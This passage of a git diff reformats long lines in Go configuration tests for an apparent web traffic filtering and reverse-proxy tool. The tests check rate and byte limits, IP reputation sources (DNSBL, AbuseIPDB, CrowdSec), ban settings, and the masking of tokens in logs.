naming %s", + stopped.env, + err, + stopped.name, + ) } } @@ -1549,11 +1733,19 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) { {tagLimitPercent, tag + ":50," + tag + " :25", twice}, {tagLimitPercent, tag + ":50,,", emptyItem}, } { - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { - t.Errorf("%s=%s gave the error %v, want %s", tc.name, tc.value, err, want) + t.Errorf( + "%s=%s gave the error %v, want %s", + tc.name, + tc.value, + err, + want, + ) } } } @@ -1596,9 +1788,13 @@ func TestBiasedThresholdsAsSet(t *testing.T) { cfg := fromEnvironment(t, environment{}) if len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 || cfg.UnknownLimitPercent != 100 { - t.Errorf("biased thresholds %v, %v and %d by default, "+ - "want two empty lists and 100", - cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent) + t.Errorf( + "biased thresholds %v, %v and %d by default, "+ + "want two empty lists and 100", + cfg.ASNBytesPercent, + cfg.CountryBytesPercent, + cfg.UnknownLimitPercent, + ) } // AS numbers and countries in either case, an AS number with leading @@ -1619,7 +1815,11 @@ func TestBiasedThresholdsAsSet(t *testing.T) { } if cfg.UnknownLimitPercent != 0 { - t.Errorf("%s gave %d, want 0", unknownLimitPercent, cfg.UnknownLimitPercent) + t.Errorf( + "%s gave %d, want 0", + unknownLimitPercent, + cfg.UnknownLimitPercent, + ) } } @@ -1651,7 +1851,9 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -1682,10 +1884,18 @@ func TestReputationSettingsAsSet(t *testing.T) { cfg := fromEnvironment(t, environment{}) if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour || cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" { - t.Errorf("%s, %s, %s and %s gave %v, %s, %s and %q by default, "+ - "want none, 24h, deny and none", blocklistURLs, blocklistRefresh, - blocklistAction, asnLimitPercentURL, cfg.BlocklistURLs, cfg.BlocklistRefresh, - cfg.BlocklistAction, cfg.ASNLimitPercentURL) + t.Errorf( + "%s, %s, %s and %s gave %v, %s, %s and %q by default, "+ + "want none, 24h, deny and none", + blocklistURLs, + blocklistRefresh, + blocklistAction, + asnLimitPercentURL, + cfg.BlocklistURLs, + cfg.BlocklistRefresh, + cfg.BlocklistAction, + cfg.ASNLimitPercentURL, + ) } for _, tc := range []struct { @@ -1706,14 +1916,23 @@ func TestReputationSettingsAsSet(t *testing.T) { if !slices.Equal(cfg.BlocklistURLs, []string{dropURL, torURL}) || cfg.BlocklistRefresh != time.Hour || cfg.BlocklistAction != tc.action || cfg.BlocklistLimitPercent != tc.percent || cfg.ASNLimitPercentURL != asnURL { - t.Errorf("%s=%s gave %v, %s, %s, %d and %s", blocklistAction, tc.value, - cfg.BlocklistURLs, cfg.BlocklistRefresh, cfg.BlocklistAction, - cfg.BlocklistLimitPercent, cfg.ASNLimitPercentURL) + t.Errorf( + "%s=%s gave %v, %s, %s, %d and %s", + blocklistAction, + tc.value, + cfg.BlocklistURLs, + cfg.BlocklistRefresh, + cfg.BlocklistAction, + cfg.BlocklistLimitPercent, + cfg.ASNLimitPercentURL, + ) } } } -func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { +func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong( + t *testing.T, +) { t.Parallel() const ( @@ -1748,7 +1967,9 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -1788,17 +2009,22 @@ func TestDNSBLSettingsAsSet(t *testing.T) { if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() || cfg.ReputationAction != actionLimit || cfg.ReputationLimitPercent != 25 || cfg.ReputationCacheTTL != 24*time.Hour || cfg.ReputationTimeout != 2*time.Second { - t.Errorf("by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ - "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", + t.Errorf( + "by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ + "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", cfg.DNSBLZones, - cfg.DNSBLResolver, cfg.ReputationAction, cfg.ReputationLimitPercent, - cfg.ReputationCacheTTL, cfg.ReputationTimeout) + cfg.DNSBLResolver, + cfg.ReputationAction, + cfg.ReputationLimitPercent, + cfg.ReputationCacheTTL, + cfg.ReputationTimeout, + ) } // The longest zone allowed, of 189 characters, with labels of 63, the // longest allowed. - longest := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + - strings.Repeat("c", 61) + longest := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + + "." + strings.Repeat("c", 61) for _, tc := range []struct { zones, resolver, action string @@ -1836,10 +2062,21 @@ func TestDNSBLSettingsAsSet(t *testing.T) { cfg.ReputationLimitPercent != tc.wantPercent || cfg.ReputationCacheTTL != 12*time.Hour || cfg.ReputationTimeout != 3*time.Second { - t.Errorf("%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", dnsblZones, - tc.zones, dnsblResolver, tc.resolver, reputationAction, tc.action, - cfg.DNSBLZones, cfg.DNSBLResolver, cfg.ReputationAction, - cfg.ReputationLimitPercent, cfg.ReputationCacheTTL, cfg.ReputationTimeout) + t.Errorf( + "%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", + dnsblZones, + tc.zones, + dnsblResolver, + tc.resolver, + reputationAction, + tc.action, + cfg.DNSBLZones, + cfg.DNSBLResolver, + cfg.ReputationAction, + cfg.ReputationLimitPercent, + cfg.ReputationCacheTTL, + cfg.ReputationTimeout, + ) } } } @@ -1855,8 +2092,17 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { ) label64 := strings.Repeat("a", 64) + ".example" - tooLong := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + - strings.Repeat("c", 62) + tooLong := strings.Repeat( + "a", + 63, + ) + "." + strings.Repeat( + "b", + 63, + ) + "." + + strings.Repeat( + "c", + 62, + ) for _, tc := range []struct{ name, value, want string }{ {dnsblZones, "dnsbl..example", `"dnsbl..example"` + notZone}, @@ -1890,7 +2136,9 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -1900,7 +2148,9 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { } } -func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) { +func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet( + t *testing.T, +) { t.Parallel() for zone, want := range map[string]string{ @@ -1920,15 +2170,22 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) { func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{dnsblZones: dronebl + ", " + spamhaus}) + cfg := fromEnvironment( + t, + environment{dnsblZones: dronebl + ", " + spamhaus}, + ) var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() if strings.Contains(logged, spamhausKey) || - !strings.Contains(logged, `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`) { + !strings.Contains( + logged, + `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`, + ) { t.Errorf("the zones are not logged with the key masked: %s", logged) } @@ -1958,11 +2215,19 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { {spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`}, {spamhaus + ",,", "has an empty item in its list"}, } { - _, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{dnsblZones: tc.value}.lookupEnv, + ) want := dnsblZones + ": " + tc.want if err == nil || err.Error() != want { - t.Errorf("%s=%s gave the error %v, want %s", dnsblZones, tc.value, err, want) + t.Errorf( + "%s=%s gave the error %v, want %s", + dnsblZones, + tc.value, + err, + want, + ) } } } @@ -1973,9 +2238,13 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) { cfg := fromEnvironment(t, environment{}) if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 || cfg.AbuseIPDBDailyBudget != 900 { - t.Errorf("by default, the key %q, the minimum score %d and the daily budget %d, "+ - "want none, 75 and 900", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, - cfg.AbuseIPDBDailyBudget) + t.Errorf( + "by default, the key %q, the minimum score %d and the daily budget %d, "+ + "want none, 75 and 900", + cfg.AbuseIPDBKey, + cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget, + ) } cfg = fromEnvironment(t, environment{ @@ -1983,13 +2252,20 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) { }) if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 || cfg.AbuseIPDBDailyBudget != 1 { - t.Errorf("set, the key %q, the minimum score %d and the daily budget %d, "+ - "want %s, 0 and 1", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, - cfg.AbuseIPDBDailyBudget, token) + t.Errorf( + "set, the key %q, the minimum score %d and the daily budget %d, "+ + "want %s, 0 and 1", + cfg.AbuseIPDBKey, + cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget, + token, + ) } } -func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { +func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong( + t *testing.T, +) { t.Parallel() const ( @@ -2011,7 +2287,9 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -2028,7 +2306,8 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() if strings.Contains(logged, token) || @@ -2042,8 +2321,11 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { cfg := fromEnvironment(t, environment{}) if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" { - t.Errorf("by default, the decision list %q and the key %q, want neither", - cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey) + t.Errorf( + "by default, the decision list %q and the key %q, want neither", + cfg.CrowdSecDecisionsURL, + cfg.CrowdSecKey, + ) } for lapi, want := range map[string]string{ @@ -2052,10 +2334,20 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { "https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions", "https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions", } { - cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token}) + cfg := fromEnvironment( + t, + environment{crowdSecURL: lapi, crowdSecKey: token}, + ) if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token { - t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s", - crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token) + t.Errorf( + "%s=%s gave the decision list %q and the key %q, want %s and %s", + crowdSecURL, + lapi, + cfg.CrowdSecDecisionsURL, + cfg.CrowdSecKey, + want, + token, + ) } } } @@ -2142,12 +2434,16 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() if strings.Contains(logged, token) || !strings.Contains(logged, `"`+crowdSecKey+`":"********"`) || - !strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) { + !strings.Contains( + logged, + `"`+crowdSecURL+`":"http://172.17.0.1:8080"`, + ) { t.Errorf("the key is not logged masked beside the URL: %s", logged) } } @@ -2163,8 +2459,12 @@ func TestSizesAndOff(t *testing.T) { if cfg.BytesLimitPerMinute != 3<<30 || cfg.BytesLimitPerHour != 0 || cfg.AlertCooldown != 0 { - t.Errorf("3G, off and off read as %d, %d and %s", - cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.AlertCooldown) + t.Errorf( + "3G, off and off read as %d, %d and %s", + cfg.BytesLimitPerMinute, + cfg.BytesLimitPerHour, + cfg.AlertCooldown, + ) } } @@ -2179,8 +2479,12 @@ func TestRateLimitsOff(t *testing.T) { if cfg.RateLimitPerMinute != 0 || cfg.RateLimitPerHour != 0 || cfg.RateLimitPerDay != 0 { - t.Errorf("off read as %d, %d and %d", - cfg.RateLimitPerMinute, cfg.RateLimitPerHour, cfg.RateLimitPerDay) + t.Errorf( + "off read as %d, %d and %d", + cfg.RateLimitPerMinute, + cfg.RateLimitPerHour, + cfg.RateLimitPerDay, + ) } } @@ -2199,9 +2503,11 @@ func TestInvalidValueStopsTheStart(t *testing.T) { wantStartStopped(t, []struct{ name, value string }{ {listenAddr, "8080"}, {listenAddr, ":http"}, {listenAddr, ":65536"}, {mode, "Observe"}, {mode, "block"}, {mode, ""}, - {ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"}, + {ipv6GroupPrefix, "31"}, + {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"}, {ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""}, - {maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off}, + {maxTrackedClients, "0"}, + {maxTrackedClients, "-1"}, {maxTrackedClients, off}, {maxTrackedClients, "20K"}, {allowNets, "192.0.2.0/24,monitoring"}, {rateLimitExemptNets, "2001:db8::/129"}, @@ -2227,7 +2533,18 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {bytesLimitPerMinute, "10GB"}, {bytesLimitPerHour, "0"}, {bytesLimitPerDay, "-1G"}, {bytesCount, "all"}, {bytesCount, "Both"}, {bytesCount, ""}, - {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, + }) +} + +// TestInvalidLookupTagOrLogValueStopsTheStart goes on from +// TestInvalidValueStopsTheStart: the settings of the lookup, the biased +// thresholds, the tags, the metrics, the log and the rule files. +func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {lookupSource, "ipinfo"}, + {lookupSource, "GeoJS"}, {lookupSource, ""}, {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, {addLookupHeaders, "yes"}, {allowedCountries, "nk"}, @@ -2242,34 +2559,50 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {allowedCountries, "uk"}, {allowedCountries, "zz"}, {allowedCountries, "de,germany"}, - {asnBytesPercent, "AS14061:50,,AS16276:50"}, {asnBytesPercent, "ASX:50"}, + {asnBytesPercent, "AS14061:50,,AS16276:50"}, + {asnBytesPercent, "ASX:50"}, {asnBytesPercent, "AS14061:"}, {asnBytesPercent, "AS14061 :50"}, {asnBytesPercent, "AS14061:1.5"}, {asnBytesPercent, "AS-1:50"}, {countryBytesPercent, "cn"}, {countryBytesPercent, "cn:"}, {countryBytesPercent, "cn:25:50"}, {countryBytesPercent, "china:25"}, {tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"}, - {tagDeny, "asn="}, {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"}, + {tagDeny, "asn="}, + {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"}, {tagDeny, zenTag}, {tagDeny, "abuseipdb"}, {tagDeny, "crowdsec"}, - {tagLimitPercent, "torexti:50"}, {tagLimitPercent, "dnsbl=zen.example:50"}, + {tagLimitPercent, "torexti:50"}, + {tagLimitPercent, "dnsbl=zen.example:50"}, {tagLimitPercent, "abuseipdb:50"}, {tagLimitPercent, "crowdsec:50"}, - {tagLimitPercent, "vpn :50"}, {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"}, - {tagLimitPercent, "vpn:"}, {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"}, + {tagLimitPercent, "vpn :50"}, + {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"}, + {tagLimitPercent, "vpn:"}, + {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"}, {tagLimitPercent, "vpn:1.5"}, {tagLimitPercent, "vpn:50,VPN:25"}, - {tagLimitPercent, "exploitsignature:50"}, {tagLimitPercent, "asn=abc:50"}, + {tagLimitPercent, "exploitsignature:50"}, + {tagLimitPercent, "asn=abc:50"}, {tagLists, torExitTag}, {tagLists, "=https://example.com/a.txt"}, {tagLists, "a,b=https://example.com/a.txt"}, {tagLists, "a=ftp://example.com/a.txt"}, - {tagLists, "a=https://example.com/a.txt,A=https://example.com/b.txt"}, - {tagLists, "a=https://example.com/a.txt,b=https://example.com/a.txt"}, + { + tagLists, + "a=https://example.com/a.txt,A=https://example.com/b.txt", + }, + { + tagLists, + "a=https://example.com/a.txt,b=https://example.com/a.txt", + }, {asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"}, {unknownLimitPercent, ""}, {unknownLimitPercent, "-1"}, {unknownLimitPercent, "50%"}, {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, - {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, - {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, + {logRequestHeaders, "accept,,origin"}, + {logRequestHeaders, "accept;origin"}, + {logRequestHeaders, "accept language"}, + {logRequestHeaders, "x-foo:"}, {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, - {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, - {logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, + {logRequestHeaders, "transfer-encoding"}, + {logRequestHeaders, "TRANSFER-ENCODING"}, + {logLevel, "INFO"}, + {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, {rulesEnabled, "yes"}, {rulesEnabled, "True"}, }) @@ -2287,8 +2620,12 @@ func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) { tagDeny: exploitTag, rulesEnabled: disabled, name: off, }.lookupEnv) if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") { - t.Errorf("%s=off with rule files off gave the error %v, want one naming %s", - name, err, tagDeny) + t.Errorf( + "%s=off with rule files off gave the error %v, want one naming %s", + name, + err, + tagDeny, + ) } } } @@ -2298,11 +2635,20 @@ func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { wantStartStopped(t, []struct{ name, value string }{ {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, - {limitBanDuration, off}, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, + { + limitBanDuration, + off, + }, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, - {maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off}, + { + maxBanDuration, + off, + }, {maxBanDuration, "1w"}, {attackBanDuration, off}, {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, - {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, + { + banScopeV4Prefix, + "33", + }, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"}, {stateWriteDelay, off}, {stateWriteDelay, "0s"}, {stateCounterInterval, off}, {stateCounterInterval, "15"}, @@ -2319,7 +2665,9 @@ func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) if err == nil { t.Fatalf("%s=%q was accepted", tc.name, tc.value) } @@ -2344,9 +2692,16 @@ func TestHostOrTransferEncodingStopsTheStart(t *testing.T) { t.Run(value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv) + _, err := config.FromEnvironment( + environment{logRequestHeaders: value}.lookupEnv, + ) if err == nil || err.Error() != logRequestHeaders+": "+want { - t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want) + t.Errorf( + "error %v, want %s: %s", + err, + logRequestHeaders, + want, + ) } }) } @@ -2361,7 +2716,9 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { t.Run(name+"="+value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{name: value}.lookupEnv) + _, err := config.FromEnvironment( + environment{name: value}.lookupEnv, + ) want := name + ": is shorter than 32 characters" if err == nil || err.Error() != want { @@ -2375,7 +2732,10 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { func TestTokensAreReadAndLoggedMasked(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{adminToken: otherToken, metricsToken: token}) + cfg := fromEnvironment( + t, + environment{adminToken: otherToken, metricsToken: token}, + ) if cfg.AdminToken != otherToken || cfg.MetricsToken != token { t.Errorf("admin token %q and metrics token %q, want %q and %q", cfg.AdminToken, cfg.MetricsToken, otherToken, token) @@ -2383,10 +2743,12 @@ func TestTokensAreReadAndLoggedMasked(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() - if strings.Contains(logged, token) || strings.Contains(logged, otherToken) || + if strings.Contains(logged, token) || + strings.Contains(logged, otherToken) || !strings.Contains(logged, `"`+adminToken+`":"********"`) || !strings.Contains(logged, `"`+metricsToken+`":"********"`) { t.Errorf("the tokens are not logged masked: %s", logged) @@ -2406,8 +2768,13 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { metricsToken + "_FILE": writeFile(t, contents), }) if cfg.MetricsToken != want { - t.Errorf("file holding %q gave %s %q, want %q", contents, metricsToken, - cfg.MetricsToken, want) + t.Errorf( + "file holding %q gave %s %q, want %q", + contents, + metricsToken, + cfg.MetricsToken, + want, + ) } } } @@ -2458,7 +2825,9 @@ func TestUnreadableSettingFileStopsTheStart(t *testing.T) { dir := t.TempDir() for _, path := range []string{filepath.Join(dir, "missing"), dir} { - _, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv) + _, err := config.FromEnvironment( + environment{metricsToken + "_FILE": path}.lookupEnv, + ) want := metricsToken + "_FILE: cannot be read: " if err == nil || !strings.HasPrefix(err.Error(), want) { @@ -2475,7 +2844,8 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) var line struct { Settings map[string]string `json:"settings"` @@ -2489,8 +2859,11 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { if strings.Contains(out.String(), token) || line.Settings[metricsToken] != "********" || line.Settings[metricsToken+"_FILE"] != path { - t.Errorf("the token is not logged masked, with its file %s: %s", path, - out.String()) + t.Errorf( + "the token is not logged masked, with its file %s: %s", + path, + out.String(), + ) } } @@ -2624,7 +2997,8 @@ func loggedSettings(t *testing.T, cfg *config.Config) map[string]string { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) var line struct { Settings map[string]string `json:"settings"` @@ -2654,29 +3028,51 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { } // wantByteLimitSettings checks the settings for the byte limits. -func wantByteLimitSettings(t *testing.T, got *config.Config, want config.Config) { +func wantByteLimitSettings( + t *testing.T, + got *config.Config, + want config.Config, +) { t.Helper() if got.BytesLimitPerMinute != want.BytesLimitPerMinute || got.BytesLimitPerHour != want.BytesLimitPerHour || got.BytesLimitPerDay != want.BytesLimitPerDay || got.BytesCount != want.BytesCount { - t.Errorf("byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", - got.BytesLimitPerMinute, got.BytesLimitPerHour, got.BytesLimitPerDay, - got.BytesCount, want.BytesLimitPerMinute, want.BytesLimitPerHour, - want.BytesLimitPerDay, want.BytesCount) + t.Errorf( + "byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", + got.BytesLimitPerMinute, + got.BytesLimitPerHour, + got.BytesLimitPerDay, + got.BytesCount, + want.BytesLimitPerMinute, + want.BytesLimitPerHour, + want.BytesLimitPerDay, + want.BytesCount, + ) } } // wantLookupSettings checks the settings for lookups. -func wantLookupSettings(t *testing.T, got *config.Config, want config.Config) { +func wantLookupSettings( + t *testing.T, + got *config.Config, + want config.Config, +) { t.Helper() - if got.LookupSource != want.LookupSource || got.LookupTimeout != want.LookupTimeout || + if got.LookupSource != want.LookupSource || + got.LookupTimeout != want.LookupTimeout || got.AddLookupHeaders != want.AddLookupHeaders { - t.Errorf("lookups from %q, waited for %s, headers %t; want %q, %s, %t", - got.LookupSource, got.LookupTimeout, got.AddLookupHeaders, - want.LookupSource, want.LookupTimeout, want.AddLookupHeaders) + t.Errorf( + "lookups from %q, waited for %s, headers %t; want %q, %s, %t", + got.LookupSource, + got.LookupTimeout, + got.AddLookupHeaders, + want.LookupSource, + want.LookupTimeout, + want.AddLookupHeaders, + ) } } @@ -2695,21 +3091,32 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) } - if got.RulesDir != want.RulesDir || got.RulesEnabled != want.RulesEnabled { + if got.RulesDir != want.RulesDir || + got.RulesEnabled != want.RulesEnabled { t.Errorf("rule files in %q, on: %t, want %q, %t", got.RulesDir, got.RulesEnabled, want.RulesDir, want.RulesEnabled) } wantStateSettings(t, got, want) - if got.MetricsToken != want.MetricsToken || got.MetricsTopN != want.MetricsTopN { - t.Errorf("metrics token %q and top %d, want %q and %d", - got.MetricsToken, got.MetricsTopN, want.MetricsToken, want.MetricsTopN) + if got.MetricsToken != want.MetricsToken || + got.MetricsTopN != want.MetricsTopN { + t.Errorf( + "metrics token %q and top %d, want %q and %d", + got.MetricsToken, + got.MetricsTopN, + want.MetricsToken, + want.MetricsTopN, + ) } } // wantStateSettings checks the settings for the state and cache files. -func wantStateSettings(t *testing.T, got *config.Config, want config.Config) { +func wantStateSettings( + t *testing.T, + got *config.Config, + want config.Config, +) { t.Helper() if got.StateDir != want.StateDir || diff --git a/internal/config/rproxy.go b/internal/config/rproxy.go index 0dbf608..d74ea2e 100644 --- a/internal/config/rproxy.go +++ b/internal/config/rproxy.go @@ -55,7 +55,8 @@ var ( errNotMilliseconds = errors.New( "is not a whole number of milliseconds above zero, such as 2000") errNotMillisecondsOrOff = errors.New( - "is not a whole number of milliseconds above zero, such as 60000, or off") + "is not a whole number of milliseconds above zero, such as 60000, or off", + ) ) // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally @@ -63,19 +64,36 @@ var ( // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but // invalid is an error that names it. Since rproxy never touches disk, its // settings have no _FILE form. -func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) { +func RProxyFromEnvironment( + lookupEnv func(string) (string, bool), +) (*RProxy, error) { env := &environment{lookupEnv: withoutFileForms(lookupEnv)} cfg := &RProxy{ - ListenAddr: env.address("SWRP_LISTEN_ADDR"), - UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL), - TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges), - WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), - Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"), - DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"), - MaxRequestSize: 